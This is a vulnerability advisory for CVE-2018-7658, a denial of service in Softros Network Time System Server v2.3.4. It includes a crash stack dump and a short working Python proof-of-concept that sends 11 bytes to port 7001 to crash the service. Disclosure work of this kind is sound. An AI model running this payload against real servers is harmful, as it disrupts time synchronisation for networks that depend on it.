[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/SOFTROS-NETWORK-TIME-SYSTEM-SERVER-v2.3.4-DENIAL-OF-SERVICE.txt [+] ISR: Apparition Security Vendor: ============= www.softros.com https://nts.softros.com/downloads/ Product: =========== Network Time System Server v2.3.4 Both x86/x64 versions Network Time System provides a solution to system time maintenance problems. This powerful client/server software enables you to set up a virtually fail-safe synchronized time environment for networks of any size and complexity, from small office networks (LAN) to those maintained at large enterprises (VPN, VLAN, WAN), from single site networks to those including numerous domains and involving complex routing techniques. Network Time System allows the creation of a custom source of precise time in a corporate network environment establishing an interconnected time synchronization system for each and every machine and device on the company network. Vulnerability Type: =================== Denial Of Service CVE Reference: ============== CVE-2018-7658 Security Issue: ================ Network Time System (Server) "NTSServerSvc" service listens on Port 7001, unauthenticated remote attackers can crash the Server by sending exactly 11 bytes to the target system. Systems which may depend on critical time synchronization could then potentially be impacted. Stack dump: ''' eax=0320119a ebx=0000000b ecx=000000ff edx=00000000 esi=03167040 edi=0050b328 eip=004069a5 esp=0447fee8 ebp=0447ff28 iopl=0 nv up ei ng nz ac pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010297 NTSServerSvc+0x69a5: 004069a5 880a mov byte ptr [edx],cl ds:0023:00000000=?? Resetting default scope FAULTING_IP: NTSServerSvc+69a5 004069a5 880a mov byte ptr [edx],cl EXCEPTION_RECORD: (.exr -1) ExceptionAddress: 004069a5 (NTSServerSvc+0x000069a5) ExceptionCode: c0000005 (Access violation) ''' Exploit/POC: ============= import socket #Network Time System (Server) NTSServerSvc.exe v2.3.4 #Softros Systems #NTS Server service for time synchronization over network print 'Network Time Server 11 byte Denial Of Service' print 'by hyp3rlinx' HOST=raw_input('Network Time Server IP') PORT=7001 payload='A'*11 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((HOST,PORT)) s.send(payload) s.close() Network Access: =============== Remote Severity: ========= Medium Disclosure Timeline: ============================= Vendor Notification: February 10, 2018 Second attempt : February 24, 2018 Request CVE, assigned by Mitre : March 3, 2018 March 5, 2018: Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c).